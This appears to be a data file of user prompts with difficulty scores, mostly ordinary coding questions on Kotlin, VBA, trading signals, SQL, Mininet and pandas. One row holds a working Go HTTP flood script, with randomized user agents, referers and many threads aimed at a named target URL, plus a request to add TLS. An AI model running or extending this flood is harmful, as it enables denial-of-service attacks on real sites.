row_id int64 0 48.4k | init_message stringlengths 1 342k | conversation_hash stringlengths 32 32 | scores dict |
|---|---|---|---|
17,983 | все ли верно ? это метод из homefragment : fun placeHolder(adapterPosition: Int) {
Toast.makeText(requireContext(), adapterPosition, Toast.LENGTH_SHORT).show()
}
код адаптера : package com.example.cinema_provider_app.main_Fragments.Home_Fragment.Adapters
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.ImageView
import androidx.recyclerview.widget.RecyclerView
import com.example.cinema_provider_app.R
import com.example.cinema_provider_app.main_Fragments.Home_Fragment.Data_Classes.FirstDataType
import com.example.cinema_provider_app.main_Fragments.Home_Fragment.HomeFragment
class FirstTypeAdapter(private var list: List<FirstDataType>,private val homeFragment: HomeFragment) :
RecyclerView.Adapter<FirstTypeAdapter.ViewHolder>() {
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder {
val createItem = LayoutInflater.from(parent.context)
.inflate(R.layout.first_type_recycleview, parent, false)
return ViewHolder(createItem)
}
override fun getItemCount(): Int {
return list.size
}
override fun onBindViewHolder(holder: ViewHolder, position: Int) {
val currentItem = list[position]
holder.img.setImageResource(currentItem.image)
holder.img.setOnClickListener{
homeFragment.placeHolder(holder.adapterPosition)
}
}
class ViewHolder(item: View) : RecyclerView.ViewHolder(item) {
var img: ImageView = item.findViewById(R.id.fistTypeImage)
init {
img.setOnClickListener {}
}
}
} | 291db081ab38a4b2fac4810f81624675 | {
"intermediate": 0.4370880126953125,
"beginner": 0.30660179257392883,
"expert": 0.2563101351261139
} |
17,984 | properly endoded url with ut8 in in c# | a45702544d8f4baa172a2a2ca1a430cd | {
"intermediate": 0.3629428744316101,
"beginner": 0.2629595100879669,
"expert": 0.37409767508506775
} |
17,985 | How does working this code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if sell_qty > buy_qty and (sell_qty / buy_qty) > (1 + threshold):
signal.append('sell')
elif buy_qty > sell_qty and (buy_qty / sell_qty) > (1 + threshold):
signal.append('buy')
else:
signal.append('')
return signal | b726db5c3514c407a58e2515cafaa569 | {
"intermediate": 0.6042636036872864,
"beginner": 0.17898505926132202,
"expert": 0.2167513221502304
} |
17,986 | I used this code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if sell_qty > buy_qty and (sell_qty / buy_qty) > (1 + threshold):
signal.append('sell')
elif buy_qty > sell_qty and (buy_qty / sell_qty) > (1 + threshold):
signal.append('buy')
else:
signal.append('')
return signal
So tell me shortly if the buy orders is 60 % of all orders and sell orders is 40% of all order , which signal my code will give me ? | bf813536bf0441a474e399fd9fb15cff | {
"intermediate": 0.43210774660110474,
"beginner": 0.19994939863681793,
"expert": 0.36794283986091614
} |
17,987 | I used this code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if sell_qty > buy_qty and (sell_qty / (sell_qty + buy_qty)) > 0.5:
signal.append('sell')
elif buy_qty > sell_qty and (buy_qty / (sell_qty + buy_qty)) > 0.5:
signal.append('buy')
else:
signal.append('')
return signal
but it giving me only buy signal | 0a588549bfbb10da1cc2e6f2686887b9 | {
"intermediate": 0.38447320461273193,
"beginner": 0.3491296172142029,
"expert": 0.2663972079753876
} |
17,988 | Is it possible to write VBA code to an excel sheet using VBA.
What I am trying to do is as follows.
When a sheet is activated, VBA is copied from a template into the activated excel sheets VBA page. | 4d58f49f0846fe11a906e58c3397c2a6 | {
"intermediate": 0.26998835802078247,
"beginner": 0.4947652518749237,
"expert": 0.23524634540081024
} |
17,989 | how to create a Zabbix data item for counting the number of added lines to a log file in the last 5 minutes | 73a93a8163958679939454ce8de03a64 | {
"intermediate": 0.5213379859924316,
"beginner": 0.16549135744571686,
"expert": 0.3131706416606903
} |
17,990 | как думаешь, стоит ли использовать такой код для бэкенда сайта?
const projects = await Project.findAll({
include: {
model: Contributor,
include: {
model: User
}
}
})
const data = projects.map(project => ({
id: project.id,
title: project.title,
description: project.description,
image: project.image,
background: project.background,
link: project.image,
contributors: project.contributors.map(contributor => ({
avatar: contributor.user.avatar
}))
}))
return res.json(data) | 2ea627b9fadeb971874c6e9406064dc7 | {
"intermediate": 0.4152921438217163,
"beginner": 0.36179718375205994,
"expert": 0.22291065752506256
} |
17,991 | explain different ways to get instance from a class in java | 18175c8b6389239df317bc109fa8667a | {
"intermediate": 0.4351738691329956,
"beginner": 0.44180360436439514,
"expert": 0.12302253395318985
} |
17,992 | You've dropped your (12-Hour) digital alarm clock; somehow the minutes were added to the hours! Since you do not know the current time, you need to figure out all the possible times that could have been on the clock before you dropped it (In ascending order).
Input
Line 1: An integer t that represents the total value displayed on the clock.
Output
Lines 1+: String in the format HH:MM, where HH is the hours (without leading 0) and MM is the minutes (with leading 0) of a potential time on the clock.
Constraints
0 < t < 72
Example
Input
69
Output
10:59
11:58
12:57 ....Please solve it with C# Code | bfd741da76659246f463db2ae99fc5e8 | {
"intermediate": 0.4364151060581207,
"beginner": 0.3385533094406128,
"expert": 0.2250315546989441
} |
17,993 | I moved the code below from the Sheet VBA into a Module. Now I am getting an error on the line 'Target.Offset(0, -5).Value = "Serviced"' : Public Sub ServiceCreation()
MsgBox "A New Service row will now be created"
Target.Offset(0, -5).Value = "Serviced"
Target.Offset(0, 1).Value = ""
Dim newRow As Long
newRow = ActiveSheet.Cells(Rows.Count, "B").End(xlUp).Row + 1
ActiveSheet.Range("B" & newRow).Value = "Service"
ActiveSheet.Range("C" & newRow).Value = Target.Offset(0, 2).Value
ActiveSheet.Range("F" & newRow).Value = Target.Offset(0, -1).Value
ActiveSheet.Range("J" & newRow).Value = Target.Offset(0, 3).Value
ActiveSheet.Range("L" & newRow).Value = Target.Offset(0, 5).Value
ActiveSheet.Range("H" & newRow).Value = Target.Offset(0, 2).Value + Target.Value
End Sub | eb26705f1f311da3ca50ce64b1c084e0 | {
"intermediate": 0.3309125006198883,
"beginner": 0.4265485107898712,
"expert": 0.24253901839256287
} |
17,994 | generate a simple string in java for me | bfba64371261890fe7355b9c5d422d3c | {
"intermediate": 0.5592747330665588,
"beginner": 0.18490341305732727,
"expert": 0.2558218240737915
} |
17,995 | I used this code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if sell_qty > buy_qty and (sell_qty / buy_qty) > (0.5 + threshold):
signal.append('sell')
elif buy_qty > sell_qty and (buy_qty / sell_qty) > (0.5 + threshold):
signal.append('buy')
else:
signal.append('')
return signal
But it giving me only buy singal | d60316c457ba94c5a0063c905bb62046 | {
"intermediate": 0.39727842807769775,
"beginner": 0.3169536590576172,
"expert": 0.28576788306236267
} |
17,996 | I used this code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if sell_qty > buy_qty and (sell_qty / buy_qty) > (0.5 + threshold):
signal.append('sell')
elif buy_qty > sell_qty and (buy_qty / sell_qty) > (0.5 + threshold):
signal.append('buy')
else:
signal.append('')
return signal
But it giving me only signal to buy , but I need signals to buy sell and empty | d74e760e74c9a521cd0cae82c140f146 | {
"intermediate": 0.4098619222640991,
"beginner": 0.26969289779663086,
"expert": 0.3204452097415924
} |
17,997 | I used this code:def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if sell_qty > buy_qty and (sell_qty / buy_qty) > (1 + threshold):
signal.append('sell')
elif buy_qty > sell_qty and (buy_qty / sell_qty) > (1 + threshold):
signal.append('buy')
else:
signal.append('')
return signal
But it giving me only signal to buy, can you set my code for it will give me signals to buy sell and empty | 5ebe04d59d47cbc22a78ef9e5a3e4172 | {
"intermediate": 0.45324599742889404,
"beginner": 0.17825151979923248,
"expert": 0.3685024678707123
} |
17,998 | How do I fix a Snapraid error that says data error in parity position diff bits | 549949607b4f7d84680944242aa97875 | {
"intermediate": 0.5952531695365906,
"beginner": 0.08097656071186066,
"expert": 0.3237702548503876
} |
17,999 | Is it possible to double click on a cell in the range J5:J100 and cause a text document to open with the values of column L of the same row displayed in the text document.
If the text document is edited, when closed the edited text is then saved to the cell in column L, overwriting the original value. | dcc886d0dadcbf86f782f04dbc9702e2 | {
"intermediate": 0.44007930159568787,
"beginner": 0.2071419209241867,
"expert": 0.35277873277664185
} |
18,000 | why i get this error :
/root/Env/imdb/lib/python3.8/site-packages/scipy/stats/_continuous_distns.py:411: RuntimeWarning: Mean of empty slice.
loc = data.mean()
/root/Env/imdb/lib/python3.8/site-packages/numpy/core/_methods.py:192: RuntimeWarning: invalid value encountered in scalar divide
ret = ret.dtype.type(ret / rcount)
/root/Env/imdb/lib/python3.8/site-packages/scipy/stats/_continuous_distns.py:416: RuntimeWarning: Mean of empty slice.
scale = np.sqrt(((data - loc)**2).mean())
here is my code :
def calculate_3month_priority():
try:
Define the time periods in months
ini
Copy
movies = get_movies_within_3month()
ini
Copy
# Define the boxes for the priority scores
boxes = np.linspace(-3, 3, 7)[1:-1]
# Get the current date
# Iterate over the time periods
# Calculate the watch counts for the current time period
watch_counts = [movie.engagementStatistics for movie in movies]
# Check if there are no movies for the current time period
# Fit a normal distribution to the watch counts
mean, std_dev = norm.fit(watch_counts)
# Normalize the watch counts using the normal distribution
normalized_watch_counts = [(count - mean) / std_dev for count in watch_counts]
# Divide the normalized watch counts into boxes
box_indices = np.digitize(normalized_watch_counts, boxes, right=True)
# Sort the movies by priority score in descending order (highest to lowest)
sorted_movies = sorted(zip(movies, normalized_watch_counts, box_indices), key=lambda x: (x[2], x[1]), reverse=True)
# Iterate over the sorted movies and write them to the worksheet
for j, (movie, priority, box_index) in enumerate(sorted_movies, start=2):
# Write the movie title, priority, and box index to the worksheet
# my_json = json.loads(movie.periodPriority)
# my_json[0]['3month'] = priority
# movie.periodPriority = json.dumps(my_json)
# movie.ThreeMonthPriority = priority
# movie.save()
logger.debug(f'title is {movie.title}--{priority}')
logger.debug('movie saved')
except Exception as e :
logger.debug(f'error is : {e}')
and here is my mode :
class Film(models.Model):
id = models.AutoField(primary_key=True, verbose_name='id')
title = models.CharField(max_length=150, db_index=True, blank=True, verbose_name='title')
type = models.IntegerField(choices=((1, 'movies'), (2, 'series')), verbose_name='type')
ageClassification = models.CharField(max_length=150, db_index=True, verbose_name='ageClassification',null=True)
runtime = models.CharField(max_length=150, db_index=True, verbose_name='runtime')
featureYear = models.IntegerField(blank=True,null=True)
description = HTMLField(blank=True, verbose_name='description',null=True)
keyWordUrl = models.URLField(blank=True, verbose_name='keyWordLink',null=True)
storyLineUrl = models.URLField(blank=True, verbose_name='storyLineLink',null=True)
newsUrl = models.URLField(blank=True, verbose_name='newsLink',null=True)
criticUrl = models.URLField(blank=True, verbose_name='criticLink',null=True)
storyline= HTMLField(blank=True, verbose_name='storyline',null=True)
sysnopse= HTMLField(blank=True, verbose_name='synopse',null=True)
imdbScoreRate = models.FloatField(null=True, blank=True, verbose_name="imdbScore")
MetaScoreRate = models.FloatField(null=True, blank=True, verbose_name="metaScore")
imdbLink = models.URLField(verbose_name='ImdbLink',unique=True)
productionStatus = models.CharField(max_length=200, blank=True,null=True, verbose_name='productionStatus')
numVotes = models.FloatField(null=True, blank=True, verbose_name="numVotes")
stars = models.CharField(max_length=250, blank=True,null=True)
writers = models.CharField(max_length=250, blank=True,null=True)
directors = models.CharField(max_length=250, blank=True,null=True)
releaseDate = models.DateField(blank=True, null=True)
artists = models.ManyToManyField(Artist, related_name='artists', through='Role', blank=True, verbose_name='artists',null=True)
engagementStatistics = models.IntegerField(blank=True, verbose_name='engagementStatistics',null=True)
genre = models.JSONField(blank=True,null=True)
boxOffice = models.JSONField(blank=True,null=True)
company = models.JSONField(blank=True,null=True)
cast = models.JSONField(blank=True,null=True)
relatedReviews = models.ManyToManyField(Reviews,through='FilmReviews', related_name='reviews',blank=True,verbose_name='reviews')
relatedReviewsJson = models.JSONField(blank=True,null=True)
relatedNewsJson = models.JSONField(blank=True,null=True)
relatedNews = models.ManyToManyField(News,through='FilmNews',related_name='news',blank=True, verbose_name='news' )
pubDate = models.DateTimeField('date published', auto_now_add=True, db_index=True)
periodPriority = models.JSONField(blank=True,null=True)
ThreeMonthPriority = models.FloatField(null=True, blank=True)
SixMonthPriority = models.FloatField(null=True, blank=True)
FarMonthPriority = models.FloatField(null=True, blank=True)
priorityMaxEngCompany = models.FloatField(null=True, blank=True)
priorityMaxMovieActor = models.FloatField(null=True, blank=True)
priorityMaxMovieDirecotr = models.FloatField(null=True, blank=True)
priorityMeta = models.FloatField(null=True, blank=True)
priority_meta_group = models.CharField(max_length=20, blank=True, null=True)
modifyDate = models.DateTimeField(auto_now=True, db_index=True)
InYearPriority = models.FloatField(null=True, blank=True) | 896b1b05b31b4265b6e1b6675f388c4c | {
"intermediate": 0.37049761414527893,
"beginner": 0.5006582140922546,
"expert": 0.12884415686130524
} |
18,001 | Давай напишем пример программы на arduino для esp32. К пину 0 подключена матрица светодиодов ws2812. Подключен микрофон inmp441 к пинам I2S_WS 33, I2S_SD 32, I2S_SCK 27. Нужно использовать библиотек FFT library и нарисовать спектр, при этом использовать минимальное количество памяти для переменных | 1344e75bdb26ba5b42a97be9b04bfc27 | {
"intermediate": 0.554765522480011,
"beginner": 0.2165064513683319,
"expert": 0.2287280261516571
} |
18,002 | create table t1 (id int, name char(1))
insert into t1 values(1, 'a'), (2, 'b'), (3,'c'), (7,'d'), (9,'f')
select id, name from t1
--Q: expected result:
--id name result
--1 a f
--2 b d
--3 c c
--7 d b
--9 f a | 9f916634c7f821186f82b4da93e54ebd | {
"intermediate": 0.4288957715034485,
"beginner": 0.26380571722984314,
"expert": 0.3072985112667084
} |
18,003 | delete injured players from players table | f2363a51d4d5115a606375a7a1e5552e | {
"intermediate": 0.36206144094467163,
"beginner": 0.27692529559135437,
"expert": 0.3610133230686188
} |
18,004 | use numbers as pixels,make 80x80 symbols picture.sarah silverman face.do not use ASCII,just make it as if you wrote a text lines | 918a5e40795457d547928c9d78f35d8d | {
"intermediate": 0.3793371915817261,
"beginner": 0.2804296612739563,
"expert": 0.34023311734199524
} |
18,005 | vnx,mnvc | 89ad49acadd3f125c70a52b481b11eaa | {
"intermediate": 0.3147883713245392,
"beginner": 0.32181671261787415,
"expert": 0.3633948564529419
} |
18,006 | Write a SQL query to get the SCD - TYPE 2 Dimension achieve using SQL query.
ENO & ENAME are business key, here any change happen to SAL or Dept has to maintain SCD-TYPE2
EMP_DIM (Target Table) ENO ENAME SAL DEPT Active_flag
100 ABC 1000 CSE 0
102 XYZ 2000
CSE 1 104 PQR 500
IT 1 100 ABC 3000
CSE 1
Source Record
100 ABC 5000 CSE -> day 2 (sal change) 104
PQR 500 MECH -> day 2 (dept change) 105 LMN 3000 CSE -> Day 2 (new row) | eb74b7181a3309ccaaa0d56a28545aa2 | {
"intermediate": 0.3610984683036804,
"beginner": 0.34196504950523376,
"expert": 0.2969364821910858
} |
18,007 | 写一段代码，若给出一组点可以根据点使用拉格朗日插值形成一条曲线，并且用pyqt开窗口绘制出来 | 813824a8134bcc116d8b00adb2251dfa | {
"intermediate": 0.3129587471485138,
"beginner": 0.33783090114593506,
"expert": 0.34921035170555115
} |
18,008 | style my material react component to be in middle of screen | 1519f6bceb709cdbbbed2bf47baffbbd | {
"intermediate": 0.3290807902812958,
"beginner": 0.3366887867450714,
"expert": 0.3342303931713104
} |
18,009 | what is data entry | e01ba2d16811e740ee90974270b8125d | {
"intermediate": 0.30710741877555847,
"beginner": 0.4481332004070282,
"expert": 0.24475935101509094
} |
18,011 | give me simple code | f0bc4cb1db3cf34a91394df01cd8a8d0 | {
"intermediate": 0.11996177583932877,
"beginner": 0.6123875975608826,
"expert": 0.26765063405036926
} |
18,012 | Within Mininet, create the following topology. Here h1 is a remote server (ie google.com) on
the Internet that has a fast connection (1Gb/s) to your home router with a slow downlink
connection (10Mb/s). The round-trip propagation delay, or the minimum RTT between h1
and h2 is 6ms. The router buffer size can hold 100 full sized ethernet frames (about 150kB
with an MTU of 1500 bytes).
Then do the following: Start a long lived TCP flow sending data from h1 to h2. Use iperf. . Send pings from h1 to h2 10 times a second and record the RTTs. .Plot the time series of the following: o The long lived TCP flow’s cwnd o The RTT reported by ping o Queue size at the bottleneck . Spawn a webserver on h1. Periodically download the index.html web page (three
times every five seconds) from h1 and measure how long it takes to fetch it (on
average). The starter code has some hints on how to do this. Make sure that the
webpage download data is going in the same direction as the long-lived flow. The long lived flow, ping train, and web server downloads should all be happening
simultaneously.
Repeat the above experiment and replot all three graphs with a smaller router buffer
size (Q=20 packets). write code in python | 497f6b466effd1f7032f0e5a13b80c09 | {
"intermediate": 0.45659321546554565,
"beginner": 0.18975581228733063,
"expert": 0.3536509573459625
} |
18,013 | I used your code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if sell_qty > buy_qty and (sell_qty / buy_qty) > (0.5 + threshold):
signal.append('sell')
if buy_qty > sell_qty and (buy_qty / sell_qty) > (0.5 + threshold):
signal.append('buy')
if not signal:
signal.append('') # Append an empty string for the empty scenario
return signal
But it giving me only signal to buy , plesae give me code which will give me signals to buy sell or empty | 57a2920bb749a5337b1575e75b5fd54c | {
"intermediate": 0.3983486592769623,
"beginner": 0.21376821398735046,
"expert": 0.38788312673568726
} |
18,014 | how can i make my requests use TLS?
package main
import (
"encoding/json"
"net/http"
"math/rand"
"strconv"
"time"
"fmt"
)
type UAResponse struct {
UserAgents []string `json:"user_agents"`
}
func getUserAgents() []string {
url := "http://127.0.0.1:5000/api/get_ua";
req, _ := http.NewRequest("GET", url, nil);
resp, _ := http.DefaultClient.Do(req);
defer resp.Body.Close();
var response UAResponse;
json.NewDecoder(resp.Body).Decode(&response);
return response.UserAgents;
};
func httpFlood(target string, UAs []string, duration int, startTime int){
for int(time.Now().Unix()) <= int(startTime+duration) {
randNum := strconv.Itoa(rand.Int());
url := target + "?page=" + randNum;
UA := UAs[rand.Intn(len(UAs))];
acceptEncodings := []string{
"*",
"gzip, deflate, br",
"gzip, compress, deflate",
"gzip, deflate, br",
"gzip, br",
"gzip, deflate, br, compress, identity",
}
referers := []string{
"https://google.com/",
"https://www.bing.com/",
"https://yandex.com/",
"https://search.brave.com/",
"https://duckduckgo.com/",
"https://search.yahoo.com/",
"https://www.instagram.com/",
"https://www.facebook.com/",
}
acceptEncoding := acceptEncodings[rand.Intn(len(acceptEncodings))];
refferer := referers[rand.Intn(len(referers))];
req, _ := http.NewRequest("GET", url, nil);
req.Header.Set("User-Agent", UA);
req.Header.Set("Referer", refferer);
req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8")
req.Header.Set("Accept-Encoding", acceptEncoding)
req.Header.Set("Accept-Language", "en-US,en;q=0.5")
req.Header.Set("Connection", "keep-alive")
http.DefaultClient.Do(req);
fmt.Println("hi")
}
return;
};
func attack(target string, threads int, duration int) {
userAgents := getUserAgents()
startTime := int(time.Now().Unix());
for i := 0; i < threads - 1; i++ {
go httpFlood(target, userAgents, duration, startTime);
};
httpFlood(target, userAgents, duration, startTime)
return;
}
func main() {
target := "https://tls.mrrage.xyz/nginx_status";
threads := 24; // Localhost - 4
duration := 10;
attack(target, threads, duration)
return;
}; | 033ebe37403c47eecb8a240d6739f1a9 | {
"intermediate": 0.292242169380188,
"beginner": 0.34879228472709656,
"expert": 0.35896557569503784
} |
18,015 | explain trading bots | 74e854768f8bc8a9d0349a52c96dcfc5 | {
"intermediate": 0.28117504715919495,
"beginner": 0.33469951152801514,
"expert": 0.3841255009174347
} |
18,016 | I used this code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if sell_qty > buy_qty and (sell_qty / buy_qty) > (1 + threshold):
signal.append('sell')
elif buy_qty > sell_qty and (buy_qty / sell_qty) > (1 + threshold):
signal.append('buy')
else:
signal.append('') # Append an empty string for the empty scenario
return signal
But it giving me only buy signal and empty , please give me code which will give me signal to sell too | 7f9fc5f4d1db58c0d314fdb367b226ca | {
"intermediate": 0.39434459805488586,
"beginner": 0.2455860674381256,
"expert": 0.36006927490234375
} |
18,017 | I used this code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if sell_qty > buy_qty and (sell_qty / buy_qty) > (1 + threshold):
signal.append('sell')
elif buy_qty > sell_qty and (buy_qty / sell_qty) > (1 + threshold):
signal.append('buy')
else:
signal.append('') # Append an empty string for the empty scenario
return signal
But it giving me only signal to buy and empty, give me code which will give me signal to buy sell and empty | 75afb5dae6a12af71b3e338716b9235e | {
"intermediate": 0.4209422469139099,
"beginner": 0.23945021629333496,
"expert": 0.3396076261997223
} |
18,018 | java testing using stub how to deal with comparison of objects ? | b439ff9600fa168f3c6cfdc911c2e372 | {
"intermediate": 0.7055811882019043,
"beginner": 0.08588086813688278,
"expert": 0.2085379809141159
} |
18,019 | When I double click on a cell and it calls the event - Private Sub Worksheet_BeforeDoubleClick(ByVal Target As Range, Cancel As Boolean)
depending on the vba action
It sometime calls the event Private Sub Worksheet_Change(ByVal Target As Range)
How can I prevent this | 52be082df76fe185d645987a43b2efe1 | {
"intermediate": 0.6663116216659546,
"beginner": 0.15794304013252258,
"expert": 0.17574529349803925
} |
18,020 | Physical design.
The physical design phase in various methodologies is called "Design at the storage level" or "Design implementation". This is the implementation stage in a specific software environment (in a specific DBMS). The fulfillment of such requirements as productivity, efficiency and reliability of functioning depends on the design results at this stage.
The stage of physical design consists in linking the logical structure of the database and the physical storage medium in order to most efficiently place data, i.e. mapping the logical structure of the database to the storage structure. The issue of placing the stored data in the memory space, the choice of effective methods of access to various components of the "physical" database is being solved.
The results of this step are documented in the form of a storage schema in a storage definition language.
The decisions made at this stage have a decisive influence on the performance of the system. Design at this stage generally consists of the following steps:
1) Database analysis in terms of SQL command execution performance
2) Deciding on the need to denormalize the database.
3) Designing schemes for data storage and data placement.
4) Selecting the required indexes.
Choose a DBMS (having justified the choice) and perform physical design for the subject area “Horse Racing”. | bc49e67715f1e9419cb042e54c82126d | {
"intermediate": 0.23051588237285614,
"beginner": 0.45262616872787476,
"expert": 0.3168579638004303
} |
18,021 | from openpyxl import load_workbook
import pandas as pd
# 打开Excel文件
wb = load_workbook(filename=r'C:\Users\LIQI\Documents\民生基金\行业打分\钢铁数据跟踪汇总.xlsx', read_only=True, data_only=True)
# 选择指定的sheet
sheet = wb['产销数据'] # 这里的Sheet3是你要读取的sheet名称，可以根据实际情况修改
# 选择指定的列
columns = [0, 11, 12, 13, 14, 15]
# 读取数据
data = []
for row in sheet.iter_rows(values_only=True):
data.append([row[column] for column in columns])
# 构建DataFrame
headers = ['Column1','Column2', 'Column3', 'Column4', 'Column5', 'Column6'] # 这里是DataFrame的列名，可以根据实际情况修改
df = pd.DataFrame(data, columns=headers)
df = df[1:]
df.columns = df.iloc[0]
df = df[1:]
# 将第一列作为索引并转换为datetime格式
df.set_index(df.columns[0], inplace=True)
df.index = pd.to_datetime(df.index)
calculate_percentile(df,'2013-08-19','螺纹钢')
def calculate_percentile(df,date, column):
date = pd.to_datetime(date)
year = date.year
month = date.month
day = date.day
history_dates = df[(df.index.month == month) & (df.index.day == day) & (df.index.year <= year)].index
history_values = df[df.index.isin(history_dates)][column]
target_value = df.loc[date, column]
min_value = history_values.min()
max_value = history_values.max()
percentile= (target_value - min_value) / (max_value - min_value) * 100
---------------------------------------------------------------------------
KeyError Traceback (most recent call last)
~\anaconda3\lib\site-packages\pandas\_libs\index.pyx in pandas._libs.index.DatetimeEngine.get_loc()
pandas\_libs\hashtable_class_helper.pxi in pandas._libs.hashtable.Int64HashTable.get_item()
pandas\_libs\hashtable_class_helper.pxi in pandas._libs.hashtable.Int64HashTable.get_item()
KeyError: 1376870400000000000
During handling of the above exception, another exception occurred:
KeyError Traceback (most recent call last)
~\anaconda3\lib\site-packages\pandas\core\indexes\base.py in get_loc(self, key)
3652 try:
-> 3653 return self._engine.get_loc(casted_key)
3654 except KeyError as err:
~\anaconda3\lib\site-packages\pandas\_libs\index.pyx in pandas._libs.index.DatetimeEngine.get_loc()
~\anaconda3\lib\site-packages\pandas\_libs\index.pyx in pandas._libs.index.DatetimeEngine.get_loc()
KeyError: Timestamp('2013-08-19 00:00:00')
The above exception was the direct cause of the following exception:
KeyError Traceback (most recent call last)
~\anaconda3\lib\site-packages\pandas\core\indexes\datetimes.py in get_loc(self, key)
583 try:
--> 584 return Index.get_loc(self, key)
585 except KeyError as err:
~\anaconda3\lib\site-packages\pandas\core\indexes\base.py in get_loc(self, key)
3654 except KeyError as err:
-> 3655 raise KeyError(key) from err
3656 except TypeError:
KeyError: Timestamp('2013-08-19 00:00:00')
The above exception was the direct cause of the following exception:
KeyError Traceback (most recent call last)
~\AppData\Local\Temp/ipykernel_8864/2648162365.py in <module>
27 df.index = pd.to_datetime(df.index)
28
---> 29 calculate_percentile(df,'2013-08-19','螺纹钢')
30
31 def calculate_percentile(df,date, column):
~\AppData\Local\Temp/ipykernel_8864/2397934083.py in calculate_percentile(df, date, column)
6 history_dates = df[(df.index.month == month) & (df.index.day == day) & (df.index.year <= year)].index
7 history_values = df[df.index.isin(history_dates)][column]
----> 8 target_value = df.loc[date, column]
9 min_value = history_values.min()
10 max_value = history_values.max()
~\anaconda3\lib\site-packages\pandas\core\indexing.py in __getitem__(self, key)
1094 key = tuple(com.apply_if_callable(x, self.obj) for x in key)
1095 if self._is_scalar_access(key):
-> 1096 return self.obj._get_value(*key, takeable=self._takeable)
1097 return self._getitem_tuple(key)
1098 else:
~\anaconda3\lib\site-packages\pandas\core\frame.py in _get_value(self, index, col, takeable)
